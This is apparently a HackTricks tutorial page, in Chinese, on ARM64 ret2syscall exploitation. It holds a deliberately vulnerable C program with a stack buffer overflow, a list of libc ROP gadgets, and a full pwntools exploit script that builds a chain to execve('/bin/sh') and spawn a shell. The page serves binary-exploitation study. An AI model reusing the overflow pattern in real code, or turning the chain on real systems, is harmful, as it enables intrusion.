# Ret2syscall - ARM64

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在以下位置找到arm64的介绍：

{% content-ref url="/pages/9xyQvIb3WYv4XpLvSgct" %}
[Introduction to ARM64v8](/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}

## 代码

我们将使用以下页面中的示例：

{% content-ref url="/pages/EHNZLmGYxIjC7TklXT7s" %}
[Ret2win - arm64](/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md)
{% endcontent-ref %}

```c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}
```

编译时禁用 PIE 和 Canary：

```bash
clang -o ret2win ret2win.c -fno-stack-protector
```

## 机器码片段

为了准备**syscall**的调用，需要以下配置：

* `x8: 221 指定sys_execve`
* `x0: 指向"/bin/sh"的指针，指定要执行的文件`
* `x1: 0 指定不传递任何参数`
* `x2: 0 指定不传递任何环境变量`

使用ROPgadget.py，我能够在机器的libc库中找到以下机器码片段：

{% code overflow="wrap" %}

```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```

{% endcode %}

使用前面的gadget，我们可以从堆栈中控制所有需要的寄存器，并使用x5跳转到第二个gadget以调用syscall。

{% hint style="success" %}
请注意，从libc库中了解这些信息也允许进行ret2libc攻击，但让我们将其用于当前的示例。
{% endhint %}

### 攻击利用

```python
from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()
```

<details>

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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

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